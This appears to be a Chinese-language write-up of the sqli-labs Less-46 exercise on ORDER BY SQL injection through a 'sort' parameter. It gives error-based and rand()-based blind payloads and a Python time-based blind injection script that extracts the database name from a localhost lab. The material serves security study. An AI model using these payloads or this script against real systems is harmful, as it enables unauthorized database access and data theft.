less46复现
进入46关
根据提示,使用到“sort”这个参数。
让sort=1
页面显示正常,通过第一列排序。
让sort=2
页面显示正常,通过第二列排序。
让sort=3
页面显示正常,通过第三列排序。
通过以上测试,参数值不同,表格排列顺序也不同,确定应使用order by注入。
查看源代码
sql语句说明sort参数需要接收要排序的列序号。
分别使用“sort=1 asc”和“sort=1 desc”,显示升序和降序表格
报错注入
/?sort=updatexml(1,if(1=2,1,concat(0x7e,database(),0x7e)),1)
基于rand() 的盲注
为真时,页面显示
/?sort=rand(ascii(mid((select%20database()),1,1))>114)
为假时,页面显示
/?sort=rand(ascii(mid((select%20database()),1,1))>120)
盲注脚本
import requests
import time
def inject_database(url):
name = ''
for i in range(1, 20):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
# 构造时间盲注payload
payload = "if((ascii(substr(database(),%d,1))>%d),sleep(1),1)" % (i, mid)
# 传参
params = {"sort": payload}
start_time = time.time()
# 异常处理
try:
r = requests.get(url, params=params, timeout=20)
except requests.Timeout:
print("Request timed out.")
continue
end_time = time.time()
if end_time - start_time >= 1:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name += chr(mid)
print(name)
if __name__ == "__main__":
url = 'http://127.0.0.1/sqli7/Less-46/index.php'
inject_database(url)
运行结果